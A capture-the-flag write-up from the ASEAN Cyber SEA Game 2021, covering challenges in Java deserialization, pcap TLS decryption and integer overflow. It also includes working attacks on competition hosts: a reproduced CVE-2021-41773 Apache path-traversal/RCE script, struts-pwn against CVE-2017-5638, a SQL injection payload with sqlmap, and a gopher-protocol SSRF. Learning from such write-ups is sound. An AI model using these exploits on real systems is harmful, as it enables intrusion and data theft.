Summary: The Singapore team competed at the ASEAN Cyber SEA Game 2021 organised by the ASEAN-Japan Cybersecurity Capacity Building Centre (AJCCBC) and achieved 3rd place during the highly competitive capture the flag competition.
Introduction
This year, the Cyber Security Agency of Singapore (CSA) held a selection exercise to form the team to represent Singapore at the ASEAN Cyber SEA Game 2021 organised by the ASEAN-Japan Cybersecurity Capacity Building Centre in Thailand.
The selected members were:
- 4yn
- Enigmatrix
- Isopach
- and myself!
The four of us competed at the official competition held online on the 26th of November 2021.
After an ultra competitive five hours in which the top position was highly vied for, the Singapore team emerged as the 2nd runner up.
Team Vietnam achieved the 1st runner up position.
Finally, Team Thailand were the ultimate champion.
Congratulations to both the teams from Thailand and Vietnam! They demonstrated excellent skills.
Challenges
Unfortunately, the challenge and scoreboard went down immediately at the end of the competition so these are only a subset of the challenges I can remember.
Object
Attachment: dataFile_e3347688032cb381a44796d46232ab9d
The given file contained Java serialized data.
$ file dataFile_e3347688032cb381a44796d46232ab9d
dataFile_e3347688032cb381a44796d46232ab9d: Java serialization data, version 5
This can be confirmed to be JDK serialization by observing the first two bytes of the binary blob to
be aced
. ADditionally, we can also see that the data contains a serialized java.lang.Long
object.
xxd dataFile_e3347688032cb381a44796d46232ab9d
00000000: aced 0005 7372 000e 6a61 7661 2e6c 616e ....sr..java.lan
00000010: 672e 4c6f 6e67 3b8b e490 cc8f 23df 0200 g.Long;.....#...
00000020: 014a 0005 7661 6c75 6578 7200 106a 6176 .J..valuexr..jav
00000030: 612e 6c61 6e67 2e4e 756d 6265 7286 ac95 a.lang.Number...
00000040: 1d0b 94e0 8b02 0000 7870 0000 0000 5588 ........xp....U.
00000050: 0711
We can deserialize the number with a simple adapted Java class.
import java.io.*;
public class ObjectInputStreamDemo {
public static void main(String[] args) {
try {
// create an ObjectInputStream for the file we created before
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("dataFile_e3347688032cb381a44796d46232ab9d"));
// read and print an object and cast it as string
System.out.println("" + (Long) ois.readObject());
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
All that is left to do is to compile and execute the Java class.
$ javac ObjectInputStreamDemo.java
$ java ObjectInputStreamDemo
1434978065
Flag: flag{1434978065}
Known Vulnerability 1
We were given the target of http://13.114.183.54:8081
.
An initial request was first sent to http://13.114.183.54:8081
:
GET / HTTP/1.1
Host: 13.114.183.54:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
The response we received indicated that the server was Apache 2.4.49.
HTTP/1.1 200 OK
Date: Fri, 26 Nov 2021 03:01:03 GMT
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Connection: close
Content-Type: text/html
<html><body><h1>It works!</h1></body></html>
If you’ve been keeping up with the infosec drama in the past few months, that Apache version would’ve been a huge red flag as there was a directory traversal vulnerability (CVE-2021-41773) introduced in that version. The vulnerability could even be leveraged to gain code execution.
Searching for an exploit turns this script by Lucas Souza up.
# Exploit Title: Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)
# Date: 10/05/2021
# Exploit Author: Lucas Souza https://lsass.io
# Vendor Homepage: https://apache.org/
# Version: 2.4.49
# Tested on: 2.4.49
# CVE : CVE-2021-41773
# Credits: Ash Daulton and the cPanel Security Team
#!/bin/bash
if [[ $1 == '' ]]; [[ $2 == '' ]]; then
echo Set [TAGET-LIST.TXT] [PATH] [COMMAND]
echo ./PoC.sh targets.txt /etc/passwd
exit
fi
for host in $(cat $1); do
echo $host
curl -s --path-as-is -d "echo Content-Type: text/plain; echo; $3" "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e$2"; done
# PoC.sh targets.txt /etc/passwd
# PoC.sh targets.txt /bin/sh whoami
We can use the script to exfiltrate /etc/passwd
:
$ echo http://13.114.183.54:8081/ > targets.txt
$ bash apache.sh targets.txt /etc/passwd
http://13.114.183.54:8081/
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
flag:x:1000:1000:flag{N_oht_jnf_perngrq}:/home/flag:/bin/sh
Flag: flag{N_oht_jnf_perngrq}
Known Vulnerability 2
We were given the target of http://13.114.183.54:8080
.
The following request was sent to http://13.114.183.54:8080
:
GET /index.action HTTP/1.1
Host: 13.114.183.54:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
In the response, we are presented with a Struts2 showcase website.
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=B42F74A4BBEEFFEA4BAD8B3684A132FB; Path=/; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
Date: Fri, 26 Nov 2021 03:16:40 GMT
Connection: close
Content-Length: 14687
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="Struts2 Showcase for Apache Struts Project">
<meta name="author" content="The Apache Software Foundation">
<title>Struts2 Showcase</title>
<link href="/styles/bootstrap.css" rel="stylesheet" type="text/css" media="all">
<link href="/styles/main.css" rel="stylesheet" type="text/css" media="all"/>
<script src="/js/jquery-2.1.4.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
<script type="text/javascript">
$(function () {
var alerts = $('ul.alert').wrap('<div />');
alerts.prepend('<a class="close" data-dismiss="alert" href="#">×</a>');
alerts.alert();
});
</script>
<!-- Prettify -->
<link href="/styles/prettify.css" rel="stylesheet">
<script src="/js/prettify.js"></script>
<!-- Le HTML5 shim, for IE6-8 support of HTML5 elements -->
<!--[if lt IE 9]>
<script src="http://html5shim.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
<script src="/struts/utils.js" type="text/javascript"></script>
</head>
...
Using the nmap script to check for vulnerability to CVE-2017-5638 turned up a positive result. (Apologies! I didn’t capture the output for this command.)
$ nmap -p8080 --script http-vuln-cve2017-5638 13.114.183.54
...
... IS VULNERABLE!
Now we can simply clone this exploit by mazen160 and use it against the server.
$ python struts-pwn.py --url 'http://13.114.183.54:8080/showcase.action' -c 'cat /flag/flag.txt'
[*] URL: http://13.114.183.54:8080/showcase.action
[*] CMD: cat /flag/flag.txt
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ("Connection broken: InvalidChunkLength(got length b'', 0 bytes read)", InvalidChunkLength(got length b'', 0 bytes read))
Note: Server Connection Closed Prematurely
flag{Fbzrqnl_vg_jvyy_or_hahfrq}
[%] Done.
Flag:: flag{Fbzrqnl_vg_jvyy_or_hahfrq}
CDN
In this challenge we were supposed to identify which CDN was serving jpn.nec.com
.
This was trivial.
ping jpn.nec.com
PING e13694.b.akamaiedge.net (125.252.231.135): 56 data bytes
64 bytes from 125.252.231.135: icmp_seq=0 ttl=59 time=7.246 ms
64 bytes from 125.252.231.135: icmp_seq=1 ttl=59 time=4.371 ms
^C
--- e13694.b.akamaiedge.net ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 4.371/5.809/7.246/1.438 ms
Flag: flag{akamai}
Unlock
Attachment: 64ef3b043d56cbbb8f873cfa96cd3e4e.zip
Unzipping the zip file gave us the configuration for a HTTPd server as well as pcap file.
unzip -l 64ef3b043d56cbbb8f873cfa96cd3e4e.zip
Archive: 64ef3b043d56cbbb8f873cfa96cd3e4e.zip
Length Date Time Name
--------- ---------- ----- ----
0 12-14-2018 12:50 etc/
0 12-14-2018 12:51 etc/httpd/
0 12-14-2018 12:50 etc/httpd/conf/
0 12-14-2018 12:50 etc/httpd/conf.d/
118 05-20-2009 15:05 etc/httpd/conf.d/mod_dnssd.conf
1484 02-28-2018 18:23 etc/httpd/conf.d/php.conf
392 06-20-2018 00:47 etc/httpd/conf.d/README
9439 12-13-2018 19:03 etc/httpd/conf.d/ssl.conf
299 02-19-2018 20:24 etc/httpd/conf.d/welcome.conf
34738 12-13-2018 18:30 etc/httpd/conf/httpd.conf
0 12-14-2018 12:50 etc/pki/
0 12-14-2018 12:50 etc/pki/CA/
0 12-14-2018 12:50 etc/pki/ca-trust/
0 12-14-2018 12:50 etc/pki/ca-trust/extracted/
0 12-14-2018 12:50 etc/pki/ca-trust/extracted/java/
179212 04-03-2018 15:43 etc/pki/ca-trust/extracted/java/cacerts
726 07-14-2014 23:55 etc/pki/ca-trust/extracted/java/README
0 12-14-2018 12:50 etc/pki/ca-trust/extracted/openssl/
321332 04-03-2018 15:43 etc/pki/ca-trust/extracted/openssl/ca-bundle.trust.crt
787 07-14-2014 23:55 etc/pki/ca-trust/extracted/openssl/README
0 12-14-2018 12:50 etc/pki/ca-trust/extracted/pem/
191741 04-03-2018 15:43 etc/pki/ca-trust/extracted/pem/email-ca-bundle.pem
191772 04-03-2018 15:43 etc/pki/ca-trust/extracted/pem/objsign-ca-bundle.pem
897 07-14-2014 23:55 etc/pki/ca-trust/extracted/pem/README
240762 04-03-2018 15:43 etc/pki/ca-trust/extracted/pem/tls-ca-bundle.pem
560 07-14-2014 23:55 etc/pki/ca-trust/extracted/README
166 07-14-2014 23:55 etc/pki/ca-trust/README
0 12-14-2018 12:50 etc/pki/ca-trust/source/
0 12-14-2018 12:50 etc/pki/ca-trust/source/anchors/
0 12-14-2018 12:50 etc/pki/ca-trust/source/blacklist/
932 07-14-2014 23:55 etc/pki/ca-trust/source/README
0 12-14-2018 12:50 etc/pki/CA/certs/
0 12-14-2018 12:50 etc/pki/CA/crl/
0 12-14-2018 12:50 etc/pki/CA/newcerts/
0 12-14-2018 12:50 etc/pki/CA/private/
0 12-14-2018 12:50 etc/pki/java/
177130 07-14-2014 23:55 etc/pki/java/cacerts
0 12-14-2018 12:50 etc/pki/nssdb/
65536 01-13-2010 05:09 etc/pki/nssdb/cert8.db
9216 01-13-2010 06:18 etc/pki/nssdb/cert9.db
16384 01-13-2010 06:21 etc/pki/nssdb/key3.db
11264 01-13-2010 06:20 etc/pki/nssdb/key4.db
451 09-24-2014 17:04 etc/pki/nssdb/pkcs11.txt
16384 01-13-2010 05:45 etc/pki/nssdb/secmod.db
0 12-14-2018 12:50 etc/pki/rpm-gpg/
1706 10-23-2014 20:40 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-6
1730 10-23-2014 20:40 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Debug-6
1730 10-23-2014 20:40 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Security-6
1734 10-23-2014 20:40 etc/pki/rpm-gpg/RPM-GPG-KEY-CentOS-Testing-6
1649 11-05-2012 12:52 etc/pki/rpm-gpg/RPM-GPG-KEY-EPEL-6
1726 09-27-2016 16:00 etc/pki/rpm-gpg/RPM-GPG-KEY-PGDG-96
1340 03-23-2017 22:39 etc/pki/rpm-gpg/RPM-GPG-KEY-remi
3100 03-23-2017 22:39 etc/pki/rpm-gpg/RPM-GPG-KEY-remi2017
3143 01-16-2018 15:49 etc/pki/rpm-gpg/RPM-GPG-KEY-remi2018
0 12-14-2018 12:50 etc/pki/rsyslog/
0 12-14-2018 12:50 etc/pki/tls/
786601 07-14-2014 23:55 etc/pki/tls/cert.pem
0 12-14-2018 12:50 etc/pki/tls/certs/
786601 07-14-2014 23:55 etc/pki/tls/certs/ca-bundle.crt
1005005 07-14-2014 23:55 etc/pki/tls/certs/ca-bundle.trust.crt
1403 12-13-2018 18:23 etc/pki/tls/certs/localhost.crt
610 10-15-2014 19:56 etc/pki/tls/certs/make-dummy-cert
2242 10-15-2014 19:56 etc/pki/tls/certs/Makefile
829 10-15-2014 19:56 etc/pki/tls/certs/renew-dummy-cert
1103 12-13-2018 18:22 etc/pki/tls/certs/server.crt
952 12-13-2018 18:21 etc/pki/tls/certs/server.csr
1675 12-13-2018 18:21 etc/pki/tls/certs/server.key
0 12-14-2018 12:50 etc/pki/tls/misc/
5178 10-15-2014 19:55 etc/pki/tls/misc/CA
119 10-15-2014 19:55 etc/pki/tls/misc/c_hash
152 10-15-2014 19:55 etc/pki/tls/misc/c_info
112 10-15-2014 19:55 etc/pki/tls/misc/c_issuer
110 10-15-2014 19:55 etc/pki/tls/misc/c_name
10906 08-15-2014 16:55 etc/pki/tls/openssl.cnf
0 12-14-2018 12:50 etc/pki/tls/private/
1675 12-13-2018 18:23 etc/pki/tls/private/localhost.key
7380 12-13-2018 19:04 unlock.pcapng
--------- -------
4102233 77 files
Investigating the protocol hierarchy tells us that there is both TLS and plain text HTTP data.
If we follow the HTTP stream, we can see that the /flag.txt
file is attempted to be retrieved.
However, a redirection to an HTTPS endpoint is returned.
GET /flag.txt HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.1.111
Connection: Keep-Alive
HTTP/1.1 302 Found
Date: Thu, 13 Dec 2018 10:04:36 GMT
Server: Apache/2.2.15 (CentOS)
Location: https://192.168.1.111/flag.txt
Content-Length: 293
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="https://192.168.1.111/flag.txt">here</a>.</p>
<hr>
<address>Apache/2.2.15 (CentOS) Server at 192.168.1.111 Port 80</address>
</body></html>
This is confirmed in the next few packets and the TLS encryption prevents us from directly obtaining the flag.
Since the HTTPd configuration files were provided, it can be surmised that some private keys may be included in the dump and used to decrypt the TLS packets.
$ find etc | grep key
etc/pki/tls/certs/server.key
etc/pki/tls/private/localhost.key
etc/pki/nssdb/key4.db
etc/pki/nssdb/key3.db
We can configure Wireshark to decrypt TLS packets like so with the etc/pki/tls/certs/server.key
.
Now, we can follow the decrypted HTTPS stream and obtain the flag.
GET /flag.txt HTTP/1.1
User-Agent: Wget/1.17.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 192.168.1.111
Connection: Keep-Alive
HTTP/1.1 200 OK
Date: Thu, 13 Dec 2018 10:04:36 GMT
Server: Apache/2.2.15 (CentOS)
Last-Modified: Thu, 13 Dec 2018 09:33:34 GMT
ETag: "441f-27-57ce4022cc72d"
Accept-Ranges: bytes
Content-Length: 39
Connection: close
Content-Type: text/plain; charset=UTF-8
flag{cf8236571e9dd3bcaf44b188bba4f15d}
Flag: flag{cf8236571e9dd3bcaf44b188bba4f15d}
PS: It turns out that this challenge appeared in 2019 and was re-used. A writeup by the Thailand team had the exact same flag.
Mod
Attachments:
After extracting the zip file, we are given a Windows executable.
$ unzip -l mod_e2b191e6b2bb80471d8c4cdb96002207.zip
Archive: mod_e2b191e6b2bb80471d8c4cdb96002207.zip
Length Date Time Name
--------- ---------- ----- ----
19456 11-11-2018 17:23 mod_e2b191e6b2bb80471d8c4cdb96002207.exe
--------- -------
19456 1 file
The .cp
file appears to be a redacted source code to the application.
#include "pch.h"
#include <iostream>
int InputNumber()
{
using namespace std;
char innum[11] = "";
int num;
bool f;
cout << "Determine whether the number you entered is even or odd." << endl;
while (true)
{
num = 0;
f = false;
cout << "Input number, please " << endl;
cin >> innum;
for (int i = 0; i < sizeof(innum); i++)
{
if (innum[i] > 0)
{
if (not (innum[i] >= '0' && innum[i] <= '9'))
{
cout << "Input number only." << endl;
f = false;
break;
}
else {
int j = innum[i] - '0';
num = num * 10 + j;
f = true;
}
}
}
if (f == true)
{
return num;
}
signed a = innum[0];
unsigned b = innum[0];
}
}
std::string GetFlag(int key)
{
std::string val = "";
if (key * 2 == 2)
{
<<Deleted>>
}
else {
val = "Close! Please enter close to the limit value to get a flag.";
}
return val.c_str();
}
int main()
{
using namespace std;
int num;
num = InputNumber();
std::string msg;
if (num % 2 == 0)
{
msg = "The number you input is even.\n";
} else if (num % 2 == 1){
msg = "The number you input is odd.\n";
}
else {
msg = GetFlag(num);
}
printf("%s\n", msg.c_str());
}
There are a few interesting constraints to reach the deleted section where the flag is presumably
set in the val
variable. The input:
- Has to be a number and only contain numerical characters, no negatives.
- Has to not equal 0 when
num % 2
. - Has to not equal 1 when
num % 2
. - Has to equal 2 when multiplied by 2.
The important thing to note is that the num
variable is of the signed int
type. This means that
it is likely 32 bits and integer overflows can occur. A simple way to calculate a value that equals
2 when multiplied by 2 in 32 bit signed integer arithmetic can be performed like so:
In [73]: (0xffffffff + 3)/2
Out[73]: 2147483649.0
This can be verified by using c_types
in Python.
In [74]: ctypes.c_int32(2147483649 * 2)
Out[74]: c_int(2)
We can simply supply this value to the program and get our flag.
C:\Users\Jeremy\projects\share\cyberseagames>mod_e2b191e6b2bb80471d8c4cdb96002207.exe
Determine whether the number you entered is even or odd.
Input number, please
2147483649
flag{Something_happens_when_exceeds_limit_value}
Flag: flag{Something_happens_when_exceeds_limit_value}
Backend
We were given the target of http://176.32.76.86:80
.
An initial Request was sent to http://176.32.76.86:80
:
GET / HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
The response we received indicated that we were supposed to login with the password 1234
as the
user1
user.
HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 03:45:05 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Set-Cookie: PHPSESSID=68f86c7463ae9b46df5f8b587bef3da4; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 475
<!DOCTYPEE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div class="message"></div>
<form action="index.php" method="post">
<p>
username: <input type="text" name="username" value="user1">
</p>
<p>
password: <input type="password" name="password">
<!-- ...password 1234 -->
</p>
<input type="submit" value="send">
</form>
</body>
</html>
We attempted this password.
POST /index.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/
Cookie: PHPSESSID=68f86c7463ae9b46df5f8b587bef3da4
Upgrade-Insecure-Requests: 1
username=user1&password=1234
Unfortunately, the password length has to be 6 or higher.
HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 03:45:16 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 502
<!DOCTYPEE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div class="message">password length 6 or higher</div>
<form action="index.php" method="post">
<p>
username: <input type="text" name="username" value="user1">
</p>
<p>
password: <input type="password" name="password">
<!-- ...password 1234 -->
</p>
<input type="submit" value="send">
</form>
</body>
</html>
4yn found that using a password of 1234
worked and managed to gain access to a control panel.
This could have worked possibly because the password was trimmed.
On a successful login, we were redirected to success.php
.
POST /index.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/index.php
Cookie: PHPSESSID=68f86c7463ae9b46df5f8b587bef3da4
Upgrade-Insecure-Requests: 1
username=user1&password=1234++
Response received:
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:14:44 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=a194e66cf00ee816ce7d68fd431b13ce; path=/
Location: success.php
Content-Length: 0
On this success.php
page, we were granted access to a ‘System Monitoring’ site that had a link to
an apidoc.php
link and some Javascript that calls http://176.32.76.86:5000
.
GET /success.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://176.32.76.86/index.php
Connection: close
Cookie: PHPSESSID=a194e66cf00ee816ce7d68fd431b13ce
Upgrade-Insecure-Requests: 1
Response received:
HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:14:45 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1301
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>System Monitoring</title>
</head>
<body>
<p><a href="apidoc.php" target="_blank">Documents</a>
<p>Welcome user1!! <input type="hidden" value=""/>
</p>
<p>
<a href="logout.php">logout</a>
</p>
<div>
<p>lists</p>
<html>
<head>
<script src="https://code.jquery.com/jquery-3.5.1.slim.js"
integrity="sha256-DrT5NfxfbHvMHux31Lkhxg42LY6of8TaYyK50jnxRnM="
crossorigin="anonymous"></script>
<script src="https://cdn.jsdelivr.net/npm/axios/dist/axios.min.js"></script>
</head>
<script>
axios.get('http://176.32.76.86:5000/list?type=www')
.then(res => {
// alert("0");
console.log(res);
// document.write(res.data);
// application/json
$("#nu").text(res.data);
var host = res.data[1];
axios.post('http://176.32.76.86:5000/host/curl', {
"host": host
})
.then(res => {
//alert(res.data);
$("#page").text(res.data);
});
})
.catch(error => {
console.log(error, queries);
});
</script>
<script>
</script>
<p>ID, HOST , PORT , type , Result</p>
<div>
<p id="nu"></p>
<p id="result"></p>
</div>
<code id="page"></code>
</div>
</body>
</html>
The apidoc.php
page gave us some information about how the /list
endpoint of 54.168.35.1:5000
could be used to obtain some system information.
GET /apidoc.php HTTP/1.1
Host: 176.32.76.86
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://176.32.76.86/success.php
Cookie: PHPSESSID=a194e66cf00ee816ce7d68fd431b13ce
Upgrade-Insecure-Requests: 1
Response received:
HTTP/1.1 200 OK
Server: nginx/1.21.4
Date: Fri, 26 Nov 2021 06:19:28 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 353
<html>
<body>
<p>#1 System Monitor lists</p>
<p>GET http://54.168.35.1:5000/list </p>
<div>
<p>parameters</p>
<p>type service</p>
<p>example: http://54.168.35.1:5000/list?type=mysql</p>
<p>200 OK </p>
<p>Result</p>
<p>[1,"XXXXXXX",3306,"lara","ctf","mysql","rV96mKhMx0vZ0R+3zkThLA=="] </p>
4yn found that this /list
endpoint was vulnerable to SQL injection.
GET /list?type='OR'1'%3d'1'+AND+ID%3d2%3b-- HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/
Response received:
HTTP/1.0 200 OK
Content-Type: application/json
Content-Length: 65
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:28:46 GMT
[
2,
"mysql",
3306,
"lara",
"ctf",
"mysql",
"t7/pjPgAa96XedDRQ5h5ZA\u003d\u003d"
]
I simply threw sqlmap at it and dumped the items
table from the sqlite database.
Table: items
[3 entries]
+----+------+--------------+---------+--------------+---------+----------+-----------+
| id | port | host | user | pass | dbname | hosttype | tablename |
+----+------+--------------+---------+--------------+---------+----------+-----------+
| 1 | 80 | 176.32.76.86 | <blank> | <blank> | <blank> | www | <blank> |
| 2 | 3306 | mysql | lara | secretsecret | ctf | mysql | ctf |
| 3 | 3306 | mysql | root | <blank> | ctf | mysql | flag |
+----+------+--------------+---------+--------------+---------+----------+-----------+
It appears that there is a separate host that runs a backend mysql database that has the flag
table. Also notable is that the mysql root
user does not have a password. This will come in handy
later.
I then explored the /host/curl
endpoint. It appears to make CURL requests against the host and
returns the response. This is an SSRF primitive.
POST /host/curl HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 23
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/
{
"host": "176.32.76.86"
}
Response received:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 475
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
Date: Fri, 26 Nov 2021 06:14:46 GMT
<!DOCTYPEE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<div class="message"></div>
<form action="index.php" method="post">
<p>
username: <input type="text" name="username" value="user1">
</p>
<p>
password: <input type="password" name="password">
<!-- ...password 1234 -->
</p>
<input type="submit" value="send">
</form>
</body>
</html>
Since it uses CURL, we might be able to use the gopher protocol to make arbitrary TCP requests. The following request confirms this.
POST /host/curl HTTP/1.1
Host: 176.32.76.86:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 57
Origin: http://176.32.76.86
Connection: close
Referer: http://176.32.76.86/
{
"host": "gopher://176.32.76.86:80/_GET / HTTP/1.0%0A%0A"
}
Response received:
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 839
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: Content-Type,Authorization
Access-Control-Allow-Methods: GET,PUT,POST,DELETE,OPTIONS
Server: Werkzeug/2.0.2 Python/3.6.9
